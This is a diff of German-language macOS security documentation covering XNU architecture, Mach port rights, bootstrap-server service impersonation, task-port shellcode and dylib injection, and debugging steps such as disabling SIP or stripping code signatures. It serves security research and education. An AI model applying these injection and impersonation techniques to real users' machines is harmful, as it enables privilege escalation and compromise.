-Aus der Perspektive eines Sicherheitsforschers oder Unix-Entwicklers kann **macOS** ziemlich **ähnlich** einem **FreeBSD**-System mit einer eleganten GUI und einer Vielzahl von benutzerdefinierten Anwendungen erscheinen. Die meisten für BSD entwickelten Anwendungen werden ohne Modifikationen auf macOS kompiliert und ausgeführt, da die Befehlszeilenwerkzeuge, die Unix-Benutzern vertraut sind, alle in macOS vorhanden sind. Da der XNU-Kernel jedoch Mach integriert, gibt es einige wesentliche Unterschiede zwischen einem traditionellen Unix-ähnlichen System und macOS, und diese Unterschiede können potenzielle Probleme verursachen oder einzigartige Vorteile bieten.
+Aus der Perspektive eines Sicherheitsforschers oder Unix-Entwicklers kann **macOS** ziemlich **ähnlich** einem **FreeBSD**-System mit einer eleganten GUI und einer Vielzahl von benutzerdefinierten Anwendungen erscheinen. Die meisten für BSD entwickelten Anwendungen werden auf macOS ohne Änderungen kompiliert und ausgeführt, da die für Unix-Benutzer vertrauten Befehlszeilenwerkzeuge alle in macOS vorhanden sind. Da der XNU-Kernel jedoch Mach integriert, gibt es einige wesentliche Unterschiede zwischen einem traditionellen Unix-ähnlichen System und macOS, und diese Unterschiede können potenzielle Probleme verursachen oder einzigartige Vorteile bieten.
 
 Open-Source-Version von XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
 
@@ -18,16 +18,16 @@ In XNU ist Mach **verantwortlich für viele der kritischen Low-Level-Operationen
 
 ### BSD
 
-Der XNU **Kernel** **integriert** auch eine erhebliche Menge an Code, der aus dem **FreeBSD**-Projekt stammt. Dieser Code **läuft als Teil des Kernels zusammen mit Mach** im selben Adressraum. Der FreeBSD-Code innerhalb von XNU kann jedoch erheblich vom ursprünglichen FreeBSD-Code abweichen, da Modifikationen erforderlich waren, um die Kompatibilität mit Mach sicherzustellen. FreeBSD trägt zu vielen Kernel-Operationen bei, einschließlich:
+Der XNU **Kernel** **integriert** auch eine erhebliche Menge an Code, der aus dem **FreeBSD**-Projekt stammt. Dieser Code **läuft als Teil des Kernels zusammen mit Mach** im selben Adressraum. Der FreeBSD-Code innerhalb von XNU kann jedoch erheblich vom ursprünglichen FreeBSD-Code abweichen, da Änderungen erforderlich waren, um die Kompatibilität mit Mach sicherzustellen. FreeBSD trägt zu vielen Kernel-Operationen bei, einschließlich:
 
-- Prozessmanagement
+- Prozessverwaltung
 - Signalverarbeitung
 - Grundlegende Sicherheitsmechanismen, einschließlich Benutzer- und Gruppenverwaltung
 - Systemaufruf-Infrastruktur
 - TCP/IP-Stack und Sockets
 - Firewall und Paketfilterung
 
-Das Verständnis der Interaktion zwischen BSD und Mach kann komplex sein, aufgrund ihrer unterschiedlichen konzeptionellen Rahmen. Zum Beispiel verwendet BSD Prozesse als seine grundlegende Ausführungseinheit, während Mach auf Threads basiert. Diese Diskrepanz wird in XNU dadurch ausgeglichen, dass **jeder BSD-Prozess mit einer Mach-Aufgabe** verknüpft wird, die genau einen Mach-Thread enthält. Wenn der fork()-Systemaufruf von BSD verwendet wird, nutzt der BSD-Code innerhalb des Kernels Mach-Funktionen, um eine Aufgabe und eine Thread-Struktur zu erstellen.
+Das Verständnis der Interaktion zwischen BSD und Mach kann komplex sein, aufgrund ihrer unterschiedlichen konzeptionellen Rahmen. Zum Beispiel verwendet BSD Prozesse als seine grundlegende Ausführungseinheit, während Mach auf Threads basiert. Diese Diskrepanz wird in XNU dadurch ausgeglichen, dass **jeder BSD-Prozess mit einer Mach-Aufgabe** assoziiert wird, die genau einen Mach-Thread enthält. Wenn der fork()-Systemaufruf von BSD verwendet wird, nutzt der BSD-Code innerhalb des Kernels Mach-Funktionen, um eine Aufgabe und eine Thread-Struktur zu erstellen.
 
 Darüber hinaus **pflegen Mach und BSD jeweils unterschiedliche Sicherheitsmodelle**: **Das Sicherheitsmodell von Mach** basiert auf **Port-Rechten**, während das Sicherheitsmodell von BSD auf **Prozesseigentum** basiert. Unterschiede zwischen diesen beiden Modellen haben gelegentlich zu lokalen Privilegieneskalationsanfälligkeiten geführt. Neben typischen Systemaufrufen gibt es auch **Mach-Traps, die es Benutzerspace-Programmen ermöglichen, mit dem Kernel zu interagieren**. Diese verschiedenen Elemente bilden zusammen die facettenreiche, hybride Architektur des macOS-Kernels.
 
@@ -57,7 +57,7 @@ macos-kernel-extensions.md
 
 ### macOS Systemerweiterungen
 
-Anstelle von Kernel-Erweiterungen hat macOS die Systemerweiterungen geschaffen, die auf Benutzerebene APIs bieten, um mit dem Kernel zu interagieren. Auf diese Weise können Entwickler die Verwendung von Kernel-Erweiterungen vermeiden.
+Anstelle von Kernel-Erweiterungen hat macOS die Systemerweiterungen geschaffen, die auf Benutzerebene APIs bieten, um mit dem Kernel zu interagieren. Auf diese Weise können Entwickler auf die Verwendung von Kernel-Erweiterungen verzichten.
 
 {{#ref}}
 macos-system-extensions.md

src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md

@@ -18,12 +18,12 @@ Ein Prozess kann auch einen Portnamen mit bestimmten Rechten **an eine andere Ta
 
 Portrechte, die definieren, welche Operationen eine Task ausführen kann, sind entscheidend für diese Kommunikation. Die möglichen **Portrechte** sind ([Definitionen hier](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
 
-- **Empfangsrecht**, das das Empfangen von Nachrichten ermöglicht, die an den Port gesendet werden. Mach-Ports sind MPSC (multiple-producer, single-consumer) Warteschlangen, was bedeutet, dass es im gesamten System **nur ein Empfangsrecht für jeden Port** geben kann (im Gegensatz zu Pipes, bei denen mehrere Prozesse alle Dateideskriptoren zum Leseende einer Pipe halten können).
+- **Receive-Recht**, das das Empfangen von Nachrichten, die an den Port gesendet werden, erlaubt. Mach-Ports sind MPSC (multiple-producer, single-consumer) Warteschlangen, was bedeutet, dass es im gesamten System **nur ein Receive-Recht für jeden Port** geben kann (im Gegensatz zu Pipes, bei denen mehrere Prozesse alle Dateideskriptoren zum Leseende einer Pipe halten können).
-- Eine **Task mit dem Empfangsrecht** kann Nachrichten empfangen und **Senderechte erstellen**, die es ihr ermöglichen, Nachrichten zu senden. Ursprünglich hat nur die **eigene Task das Empfangsrecht über ihren Port**.
+- Eine **Task mit dem Receive-Recht** kann Nachrichten empfangen und **Senderechte erstellen**, die es ihr ermöglichen, Nachrichten zu senden. Ursprünglich hat nur die **eigene Task das Receive-Recht über ihren Port**.
-- **Senderecht**, das das Senden von Nachrichten an den Port ermöglicht.
+- **Senderecht**, das das Senden von Nachrichten an den Port erlaubt.
 - Das Senderecht kann **kloniert** werden, sodass eine Task, die ein Senderecht besitzt, das Recht klonen und **einer dritten Task gewähren** kann.
-- **Send-einmal-Recht**, das das Senden einer Nachricht an den Port ermöglicht und dann verschwindet.
+- **Send-once-Recht**, das das Senden einer Nachricht an den Port erlaubt und dann verschwindet.
-- **Portset-Recht**, das ein _Portset_ anstelle eines einzelnen Ports bezeichnet. Das Dequeuen einer Nachricht aus einem Portset dequeuert eine Nachricht aus einem der enthaltenen Ports. Portsets können verwendet werden, um gleichzeitig auf mehreren Ports zu hören, ähnlich wie `select`/`poll`/`epoll`/`kqueue` in Unix.
+- **Port-Set-Recht**, das ein _Port-Set_ anstelle eines einzelnen Ports bezeichnet. Das Dequeuen einer Nachricht aus einem Port-Set dequeuert eine Nachricht aus einem der enthaltenen Ports. Port-Sets können verwendet werden, um gleichzeitig auf mehreren Ports zu hören, ähnlich wie `select`/`poll`/`epoll`/`kqueue` in Unix.
 - **Toter Name**, der kein tatsächliches Portrecht ist, sondern lediglich ein Platzhalter. Wenn ein Port zerstört wird, verwandeln sich alle bestehenden Portrechte für den Port in tote Namen.
 
 **Tasks können SEND-Rechte an andere übertragen**, wodurch diese in der Lage sind, Nachrichten zurückzusenden. **SEND-Rechte können auch geklont werden, sodass eine Task das Recht duplizieren und einer dritten Task geben kann**. Dies, kombiniert mit einem Zwischenprozess, der als **Bootstrap-Server** bekannt ist, ermöglicht eine effektive Kommunikation zwischen Tasks.
@@ -36,26 +36,26 @@ Datei-Ports ermöglichen es, Dateideskriptoren in Mac-Ports (unter Verwendung vo
 
 #### Schritte:
 
-Wie bereits erwähnt, ist zur Etablierung des Kommunikationskanals der **Bootstrap-Server** (**launchd** in mac) beteiligt.
+Wie bereits erwähnt, ist der **Bootstrap-Server** (**launchd** in mac) an der Etablierung des Kommunikationskanals beteiligt.
 
-1. Task **A** initiiert einen **neuen Port** und erhält dabei ein **EMPFANGSRECHT**.
+1. Task **A** initiiert einen **neuen Port** und erhält dabei ein **RECEIVE-Recht**.
-2. Task **A**, als Inhaber des Empfangsrechts, **generiert ein SENDERECHT für den Port**.
+2. Task **A**, als Inhaber des RECEIVE-Rechts, **generiert ein SEND-Recht für den Port**.
-3. Task **A** stellt eine **Verbindung** mit dem **Bootstrap-Server** her und gibt den **Servicenamen des Ports** sowie das **SENDERECHT** über ein Verfahren bekannt, das als Bootstrap-Registrierung bekannt ist.
+3. Task **A** stellt eine **Verbindung** mit dem **Bootstrap-Server** her und gibt den **Servicenamen des Ports** sowie das **SEND-Recht** über ein Verfahren bekannt, das als Bootstrap-Registrierung bekannt ist.
-4. Task **B** interagiert mit dem **Bootstrap-Server**, um eine Bootstrap-**Suche nach dem Servicenamen** durchzuführen. Wenn erfolgreich, **dupliziert der Server das SENDERECHT**, das von Task A empfangen wurde, und **überträgt es an Task B**.
+4. Task **B** interagiert mit dem **Bootstrap-Server**, um eine Bootstrap-**Suche nach dem Servicenamen** durchzuführen. Wenn erfolgreich, **dupliziert der Server das SEND-Recht**, das von Task A empfangen wurde, und **überträgt es an Task B**.
-5. Nach dem Erwerb eines SENDERECHTS ist Task **B** in der Lage, eine **Nachricht** zu **formulieren** und sie **an Task A** zu senden.
+5. Nach dem Erwerb eines SEND-Rechts ist Task **B** in der Lage, eine **Nachricht** zu **formulieren** und sie **an Task A** zu senden.
-6. Für eine bidirektionale Kommunikation generiert Task **B** normalerweise einen neuen Port mit einem **EMPFANGSRECHT** und einem **SENDERECHT** und gibt das **SENDERECHT an Task A** weiter, damit es Nachrichten an TASK B senden kann (bidirektionale Kommunikation).
+6. Für eine bidirektionale Kommunikation generiert Task **B** normalerweise einen neuen Port mit einem **RECEIVE**-Recht und einem **SEND**-Recht und gibt das **SEND-Recht an Task A** weiter, damit es Nachrichten an TASK B senden kann (bidirektionale Kommunikation).
 
 Der Bootstrap-Server **kann den** vom Task beanspruchten Servicenamen **nicht authentifizieren**. Das bedeutet, dass eine **Task** potenziell **jede System-Task impersonieren** könnte, indem sie fälschlicherweise **einen Autorisierungsservicenamen beansprucht** und dann jede Anfrage genehmigt.
 
-Dann speichert Apple die **Namen der systemeigenen Dienste** in sicheren Konfigurationsdateien, die sich in **SIP-geschützten** Verzeichnissen befinden: `/System/Library/LaunchDaemons` und `/System/Library/LaunchAgents`. Neben jedem Servicenamen wird auch die **assoziierte Binärdatei gespeichert**. Der Bootstrap-Server wird ein **EMPFANGSRECHT für jeden dieser Servicenamen** erstellen und halten.
+Dann speichert Apple die **Namen der systemeigenen Dienste** in sicheren Konfigurationsdateien, die sich in **SIP-geschützten** Verzeichnissen befinden: `/System/Library/LaunchDaemons` und `/System/Library/LaunchAgents`. Neben jedem Servicenamen wird auch die **assoziierte Binärdatei gespeichert**. Der Bootstrap-Server wird ein **RECEIVE-Recht für jeden dieser Servicenamen** erstellen und halten.
 
 Für diese vordefinierten Dienste unterscheidet sich der **Suchprozess leicht**. Wenn ein Servicename gesucht wird, startet launchd den Dienst dynamisch. Der neue Workflow ist wie folgt:
 
 - Task **B** initiiert eine Bootstrap-**Suche** nach einem Servicenamen.
 - **launchd** überprüft, ob die Task läuft, und wenn nicht, **startet** sie sie.
-- Task **A** (der Dienst) führt eine **Bootstrap-Check-in** durch. Hier erstellt der **Bootstrap-Server ein SENDERECHT**, behält es und **überträgt das EMPFANGSRECHT an Task A**.
+- Task **A** (der Dienst) führt eine **Bootstrap-Check-in** durch. Hier erstellt der **Bootstrap-Server ein SEND-Recht, behält es und überträgt das RECEIVE-Recht an Task A**.
-- launchd dupliziert das **SENDERECHT und sendet es an Task B**.
+- launchd dupliziert das **SEND-Recht und sendet es an Task B**.
-- Task **B** generiert einen neuen Port mit einem **EMPFANGSRECHT** und einem **SENDERECHT** und gibt das **SENDERECHT an Task A** (den Dienst) weiter, damit es Nachrichten an TASK B senden kann (bidirektionale Kommunikation).
+- Task **B** generiert einen neuen Port mit einem **RECEIVE**-Recht und einem **SEND**-Recht und gibt das **SEND-Recht an Task A** (den Dienst) weiter, damit es Nachrichten an TASK B senden kann (bidirektionale Kommunikation).
 
 Dieser Prozess gilt jedoch nur für vordefinierte System-Tasks. Nicht-System-Tasks funktionieren weiterhin wie ursprünglich beschrieben, was potenziell eine Impersonation ermöglichen könnte.
 
@@ -74,22 +74,22 @@ mach_port_name_t              msgh_voucher_port;
 mach_msg_id_t                 msgh_id;
 } mach_msg_header_t;
 ```
-Prozesse, die über ein _**Empfangsrecht**_ verfügen, können Nachrichten über einen Mach-Port empfangen. Umgekehrt wird den **Sendern** ein _**Senderecht**_ oder ein _**Send-einmal-Recht**_ gewährt. Das Send-einmal-Recht ist ausschließlich zum Senden einer einzelnen Nachricht gedacht, nach der es ungültig wird.
+Prozesse, die über ein _**receive right**_ verfügen, können Nachrichten über einen Mach-Port empfangen. Im Gegensatz dazu wird den **Sendern** ein _**send**_ oder ein _**send-once right**_ gewährt. Das send-once right ist ausschließlich zum Senden einer einzelnen Nachricht gedacht, nach der es ungültig wird.
 
-Um eine einfache **zweiseitige Kommunikation** zu erreichen, kann ein Prozess einen **Mach-Port** im Mach **Nachrichtenkopf** angeben, der als _Antwortport_ (**`msgh_local_port`**) bezeichnet wird, wo der **Empfänger** der Nachricht eine **Antwort** auf diese Nachricht senden kann. Die Bitflags in **`msgh_bits`** können verwendet werden, um anzuzeigen, dass ein **Send-einmal** **Recht** für diesen Port abgeleitet und übertragen werden soll (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
+Um eine einfache **bi-direktionale Kommunikation** zu erreichen, kann ein Prozess einen **mach port** im Mach **Nachrichtenkopf** angeben, der als _reply port_ (**`msgh_local_port`**) bezeichnet wird, wo der **Empfänger** der Nachricht eine **Antwort** auf diese Nachricht senden kann. Die Bitflags in **`msgh_bits`** können verwendet werden, um anzuzeigen, dass ein **send-once** **right** für diesen Port abgeleitet und übertragen werden sollte (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
 
 > [!TIP]
-> Beachten Sie, dass diese Art der zweiseitigen Kommunikation in XPC-Nachrichten verwendet wird, die eine Antwort erwarten (`xpc_connection_send_message_with_reply` und `xpc_connection_send_message_with_reply_sync`). Aber **normalerweise werden verschiedene Ports erstellt**, wie zuvor erklärt, um die zweiseitige Kommunikation zu ermöglichen.
+> Beachten Sie, dass diese Art der bi-direktionalen Kommunikation in XPC-Nachrichten verwendet wird, die eine Antwort erwarten (`xpc_connection_send_message_with_reply` und `xpc_connection_send_message_with_reply_sync`). Aber **normalerweise werden verschiedene Ports erstellt**, wie zuvor erklärt, um die bi-direktionale Kommunikation zu ermöglichen.
 
 Die anderen Felder des Nachrichtenkopfes sind:
 
 - `msgh_size`: die Größe des gesamten Pakets.
 - `msgh_remote_port`: der Port, über den diese Nachricht gesendet wird.
-- `msgh_voucher_port`: [Mach-Gutscheine](https://robert.sesek.com/2023/6/mach_vouchers.html).
+- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html).
 - `msgh_id`: die ID dieser Nachricht, die vom Empfänger interpretiert wird.
 
 > [!CAUTION]
-> Beachten Sie, dass **Mach-Nachrichten über einen \_Mach-Port\_** gesendet werden, der ein **einzelner Empfänger**, **mehrere Sender** Kommunikationskanal ist, der im Mach-Kernel integriert ist. **Mehrere Prozesse** können **Nachrichten** an einen Mach-Port senden, aber zu jedem Zeitpunkt kann nur **ein einzelner Prozess** von ihm lesen.
+> Beachten Sie, dass **mach-Nachrichten über einen \_mach port**\_ gesendet werden, der einen **einzelnen Empfänger**, **mehrere Sender** Kommunikationskanal darstellt, der im Mach-Kernel integriert ist. **Mehrere Prozesse** können **Nachrichten** an einen Mach-Port senden, aber zu jedem Zeitpunkt kann nur **ein einzelner Prozess** von ihm lesen.
 
 ### Ports auflisten
 ```bash
@@ -99,7 +99,7 @@ Sie können dieses Tool auf iOS installieren, indem Sie es von [http://newosxboo
 
 ### Codebeispiel
 
-Beachten Sie, wie der **Sender** einen Port **zuweist**, ein **Senderecht** für den Namen `org.darlinghq.example` erstellt und es an den **Bootstrap-Server** sendet, während der Sender um das **Senderecht** dieses Namens bittet und es verwendet, um eine **Nachricht** zu **senden**.
+Beachten Sie, wie der **Sender** einen Port **zuweist**, ein **Senderecht** für den Namen `org.darlinghq.example` erstellt und es an den **Bootstrap-Server** sendet, während der Sender um das **Senderecht** dieses Namens bittet und es verwendet, um eine **Nachricht zu senden**.
 
 {{#tabs}}
 {{#tab name="receiver.c"}}
@@ -499,13 +499,13 @@ return 0;
 gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
 ./inject <pi or string>
 ```
-### Dylib-Injektion in einem Thread über Task-Port
+### Dylib-Injektion in einem Thread über den Task-Port
 
 In macOS können **Threads** über **Mach** oder die **posix `pthread` API** manipuliert werden. Der Thread, den wir in der vorherigen Injektion erzeugt haben, wurde mit der Mach-API erstellt, daher ist er **nicht posix-konform**.
 
 Es war möglich, **einen einfachen Shellcode** zu injizieren, um einen Befehl auszuführen, da er **nicht mit posix** konformen APIs arbeiten musste, sondern nur mit Mach. **Komplexere Injektionen** würden erfordern, dass der **Thread** ebenfalls **posix-konform** ist.
 
-Um den **Thread** zu **verbessern**, sollte er **`pthread_create_from_mach_thread`** aufrufen, was **einen gültigen pthread** erstellt. Dann könnte dieser neue pthread **dlopen** aufrufen, um eine **dylib** aus dem System zu **laden**, sodass anstelle von neuem Shellcode, um verschiedene Aktionen auszuführen, benutzerdefinierte Bibliotheken geladen werden können.
+Um den **Thread zu verbessern**, sollte er **`pthread_create_from_mach_thread`** aufrufen, was **einen gültigen pthread** erstellt. Dann könnte dieser neue pthread **dlopen** aufrufen, um eine **dylib** aus dem System zu laden, sodass anstelle von neuem Shellcode, um verschiedene Aktionen auszuführen, benutzerdefinierte Bibliotheken geladen werden können.
 
 Sie finden **Beispiel-dylibs** in (zum Beispiel die, die ein Protokoll generiert und dann können Sie es abhören):
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md

@@ -92,7 +92,7 @@ Dieses Tool ermöglicht es, Apple-Disk-Images (**.dmg**) zu **mounten**, um sie
 ```bash
 hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
 ```
-Es wird in `/Volumes` gemountet.
+Es wird in `/Volumes` gemountet
 
 ### Gepackte Binärdateien
 
@@ -122,7 +122,7 @@ Wenn eine Funktion in einer Binärdatei aufgerufen wird, die Objective-C verwend
 
 Die Parameter, die diese Funktion erwartet, sind:
 
-- Der erste Parameter (**self**) ist "ein Zeiger, der auf die **Instanz der Klasse zeigt, die die Nachricht empfangen soll**". Einfacher ausgedrückt, es ist das Objekt, auf dem die Methode aufgerufen wird. Wenn die Methode eine Klassenmethode ist, wird dies eine Instanz des Klassenobjekts (als Ganzes) sein, während bei einer Instanzmethode self auf eine instanziierte Instanz der Klasse als Objekt zeigt.
+- Der erste Parameter (**self**) ist "ein Zeiger, der auf die **Instanz der Klasse zeigt, die die Nachricht empfangen soll**". Einfacher ausgedrückt, es ist das Objekt, auf dem die Methode aufgerufen wird. Wenn die Methode eine Klassenmethode ist, ist dies eine Instanz des Klassenobjekts (als Ganzes), während bei einer Instanzmethode self auf eine instanziierte Instanz der Klasse als Objekt zeigt.
 - Der zweite Parameter (**op**) ist "der Selektor der Methode, die die Nachricht verarbeitet". Einfacher ausgedrückt, dies ist nur der **Name der Methode.**
 - Die verbleibenden Parameter sind alle **Werte, die von der Methode benötigt werden** (op).
 
@@ -138,11 +138,11 @@ x64:
 | ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
 | **1. Argument**   | **rdi**                                                         | **self: Objekt, auf dem die Methode aufgerufen wird**  |
 | **2. Argument**   | **rsi**                                                         | **op: Name der Methode**                               |
-| **3. Argument**   | **rdx**                                                         | **1. Argument für die Methode**                        |
+| **3. Argument**   | **rdx**                                                         | **1. Argument für die Methode**                         |
-| **4. Argument**   | **rcx**                                                         | **2. Argument für die Methode**                        |
+| **4. Argument**   | **rcx**                                                         | **2. Argument für die Methode**                         |
-| **5. Argument**   | **r8**                                                          | **3. Argument für die Methode**                        |
+| **5. Argument**   | **r8**                                                          | **3. Argument für die Methode**                         |
-| **6. Argument**   | **r9**                                                          | **4. Argument für die Methode**                        |
+| **6. Argument**   | **r9**                                                          | **4. Argument für die Methode**                         |
-| **7. Argument und mehr** | <p><strong>rsp+</strong><br><strong>(auf dem Stack)</strong></p> | **5. Argument und mehr für die Methode**              |
+| **7. Argument und mehr** | <p><strong>rsp+</strong><br><strong>(auf dem Stack)</strong></p> | **5. Argument und mehr für die Methode**               |
 
 ### ObjectiveC-Metadaten dumpen
 
@@ -177,7 +177,7 @@ print(metadata.to_decl())
 ```
 ## Statische Swift-Analyse
 
-Mit Swift-Binärdateien, da es eine Kompatibilität zu Objective-C gibt, kann man manchmal Deklarationen mit [class-dump](https://github.com/nygard/class-dump/) extrahieren, aber nicht immer.
+Mit Swift-Binärdateien, da es eine Kompatibilität zu Objective-C gibt, können Sie manchmal Deklarationen mit [class-dump](https://github.com/nygard/class-dump/) extrahieren, aber nicht immer.
 
 Mit den Befehlen **`jtool -l`** oder **`otool -l`** ist es möglich, mehrere Abschnitte zu finden, die mit dem Präfix **`__swift5`** beginnen:
 ```bash
@@ -204,25 +204,25 @@ swift demangle
 ## Dynamische Analyse
 
 > [!WARNING]
-> Beachten Sie, dass **SIP deaktiviert sein muss**, um Binärdateien zu debuggen (`csrutil disable` oder `csrutil enable --without debug`), oder um die Binärdateien in einen temporären Ordner zu kopieren und **die Signatur zu entfernen** mit `codesign --remove-signature <binary-path>` oder um das Debuggen der Binärdatei zu erlauben (Sie können [dieses Skript](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b) verwenden).
+> Beachten Sie, dass zum Debuggen von Binärdateien **SIP deaktiviert sein muss** (`csrutil disable` oder `csrutil enable --without debug`) oder die Binärdateien in einen temporären Ordner kopiert werden müssen und **die Signatur entfernt** wird mit `codesign --remove-signature <binary-path>` oder das Debuggen der Binärdatei erlaubt wird (Sie können [dieses Skript](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b) verwenden).
 
 > [!WARNING]
-> Beachten Sie, dass **SIP deaktiviert sein muss**, um **System-Binärdateien** (wie `cloudconfigurationd`) auf macOS zu instrumentieren (das Entfernen der Signatur funktioniert nicht).
+> Beachten Sie, dass zum **Instrumentieren von System-Binärdateien** (wie `cloudconfigurationd`) auf macOS **SIP deaktiviert sein muss** (das bloße Entfernen der Signatur funktioniert nicht).
 
 ### APIs
 
 macOS bietet einige interessante APIs, die Informationen über die Prozesse bereitstellen:
 
 - `proc_info`: Dies ist die Haupt-API, die viele Informationen über jeden Prozess liefert. Sie müssen root sein, um Informationen über andere Prozesse zu erhalten, aber Sie benötigen keine speziellen Berechtigungen oder Mach-Ports.
-- `libsysmon.dylib`: Es ermöglicht, Informationen über Prozesse über XPC-exponierte Funktionen zu erhalten, jedoch ist die Berechtigung `com.apple.sysmond.client` erforderlich.
+- `libsysmon.dylib`: Es ermöglicht, Informationen über Prozesse über XPC-exponierte Funktionen zu erhalten, jedoch ist es erforderlich, die Berechtigung `com.apple.sysmond.client` zu haben.
 
 ### Stackshot & Mikrostackshots
 
-**Stackshotting** ist eine Technik, die verwendet wird, um den Zustand der Prozesse zu erfassen, einschließlich der Aufrufstapel aller laufenden Threads. Dies ist besonders nützlich für Debugging, Leistungsanalyse und um das Verhalten des Systems zu einem bestimmten Zeitpunkt zu verstehen. Auf iOS und macOS kann Stackshotting mit mehreren Tools und Methoden wie den Tools **`sample`** und **`spindump`** durchgeführt werden.
+**Stackshotting** ist eine Technik, die verwendet wird, um den Zustand der Prozesse zu erfassen, einschließlich der Aufrufstapel aller laufenden Threads. Dies ist besonders nützlich für Debugging, Leistungsanalyse und das Verständnis des Verhaltens des Systems zu einem bestimmten Zeitpunkt. Auf iOS und macOS kann Stackshotting mit mehreren Tools und Methoden wie den Tools **`sample`** und **`spindump`** durchgeführt werden.
 
 ### Sysdiagnose
 
-Dieses Tool (`/usr/bini/ysdiagnose`) sammelt im Wesentlichen viele Informationen von Ihrem Computer, indem es Dutzende verschiedener Befehle wie `ps`, `zprint` usw. ausführt...
+Dieses Tool (`/usr/bini/ysdiagnose`) sammelt im Wesentlichen viele Informationen von Ihrem Computer, indem es Dutzende von verschiedenen Befehlen wie `ps`, `zprint` usw. ausführt.
 
 Es muss als **root** ausgeführt werden, und der Daemon `/usr/libexec/sysdiagnosed` hat sehr interessante Berechtigungen wie `com.apple.system-task-ports` und `get-task-allow`.
 
@@ -246,7 +246,7 @@ In der linken Spalte von Hopper ist es möglich, die Symbole (**Labels**) der Bi
 
 #### Mittlere Spalte
 
-In der mittleren Spalte können Sie den **disassemblierten Code** sehen. Und Sie können ihn als **rohen** Disassemble, als **Grafik**, als **dekompiliert** und als **Binärdatei** anzeigen, indem Sie auf das jeweilige Symbol klicken:
+In der mittleren Spalte können Sie den **disassemblierten Code** sehen. Und Sie können ihn als **rohen** Disassemble, als **Graph**, als **dekompiliert** und als **Binärdatei** anzeigen, indem Sie auf das jeweilige Symbol klicken:
 
 <figure><img src="../../../images/image (343).png" alt=""><figcaption></figcaption></figure>
 
@@ -262,9 +262,9 @@ In der rechten Spalte können Sie interessante Informationen wie die **Navigatio
 
 ### dtrace
 
-Es ermöglicht Benutzern den Zugriff auf Anwendungen auf einem extrem **niedrigen Niveau** und bietet eine Möglichkeit für Benutzer, **Programme** zu **verfolgen** und sogar ihren Ausführungsfluss zu ändern. Dtrace verwendet **Proben**, die **im gesamten Kernel** platziert sind und sich an Orten wie dem Anfang und Ende von Systemaufrufen befinden.
+Es ermöglicht Benutzern den Zugriff auf Anwendungen auf einem extrem **niedrigen Niveau** und bietet eine Möglichkeit für Benutzer, **Programme** zu **verfolgen** und sogar ihren Ausführungsfluss zu ändern. Dtrace verwendet **Proben**, die **im gesamten Kernel platziert** sind und sich an Orten wie dem Anfang und Ende von Systemaufrufen befinden.
 
-DTrace verwendet die Funktion **`dtrace_probe_create`**, um eine Probe für jeden Systemaufruf zu erstellen. Diese Proben können am **Einstieg und Ausgangspunkt jedes Systemaufrufs** ausgelöst werden. Die Interaktion mit DTrace erfolgt über /dev/dtrace, das nur für den Root-Benutzer verfügbar ist.
+DTrace verwendet die Funktion **`dtrace_probe_create`**, um eine Probe für jeden Systemaufruf zu erstellen. Diese Proben können am **Einstiegs- und Ausgangspunkt jedes Systemaufrufs** ausgelöst werden. Die Interaktion mit DTrace erfolgt über /dev/dtrace, das nur für den Root-Benutzer verfügbar ist.
 
 > [!TIP]
 > Um Dtrace zu aktivieren, ohne den SIP-Schutz vollständig zu deaktivieren, können Sie im Wiederherstellungsmodus ausführen: `csrutil enable --without dtrace`
@@ -281,7 +281,7 @@ ID   PROVIDER            MODULE                          FUNCTION NAME
 43    profile                                                     profile-97
 44    profile                                                     profile-199
 ```
-Der Probenname besteht aus vier Teilen: dem Anbieter, dem Modul, der Funktion und dem Namen (`fbt:mach_kernel:ptrace:entry`). Wenn Sie einen Teil des Namens nicht angeben, wird Dtrace diesen Teil als Platzhalter verwenden.
+Der Probenname besteht aus vier Teilen: dem Anbieter, dem Modul, der Funktion und dem Namen (`fbt:mach_kernel:ptrace:entry`). Wenn Sie einen Teil des Namens nicht angeben, wird Dtrace diesen Teil als Platzhalter anwenden.
 
 Um DTrace zu konfigurieren, um Proben zu aktivieren und anzugeben, welche Aktionen ausgeführt werden sollen, wenn sie ausgelöst werden, müssen wir die D-Sprache verwenden.
 
@@ -369,7 +369,7 @@ Sie können als Clients das Dienstprogramm `ktrace` verwenden:
 ```bash
 ktrace trace -s -S -t c -c ls | grep "ls("
 ```
-Or `tailspin`.
+Oder `tailspin`.
 
 ### kperf
 
@@ -388,7 +388,7 @@ Darüber hinaus residiert ein Teil der Funktionalität von Kperf in `kpc`, das I
 ### SpriteTree
 
 [**SpriteTree**](https://themittenmac.com/tools/) ist ein Tool, das die Beziehungen zwischen Prozessen druckt.\
-Sie müssen Ihren Mac mit einem Befehl wie **`sudo eslogger fork exec rename create > cap.json`** überwachen (das Terminal, das dies startet, benötigt FDA). Und dann können Sie die JSON in dieses Tool laden, um alle Beziehungen anzuzeigen:
+Sie müssen Ihren Mac mit einem Befehl wie **`sudo eslogger fork exec rename create > cap.json`** überwachen (das Terminal, das dies startet, benötigt FDA). Und dann können Sie die JSON in diesem Tool laden, um alle Beziehungen anzuzeigen:
 
 <figure><img src="../../../images/image (1182).png" alt="" width="375"><figcaption></figcaption></figure>
 
@@ -408,7 +408,7 @@ Sie müssen Ihren Mac mit einem Befehl wie **`sudo eslogger fork exec rename cre
 
 ### fs_usage
 
-Ermöglicht das Verfolgen von Aktionen, die von Prozessen durchgeführt werden:
+Ermöglicht das Verfolgen von Aktionen, die von Prozessen ausgeführt werden:
 ```bash
 fs_usage -w -f filesys ls #This tracks filesystem actions of proccess names containing ls
 fs_usage -w -f network curl #This tracks network actions
@@ -438,7 +438,7 @@ settings set target.x86-disassembly-flavor intel
 > [!WARNING]
 > Innerhalb von lldb, dumpen Sie einen Prozess mit `process save-core`
 
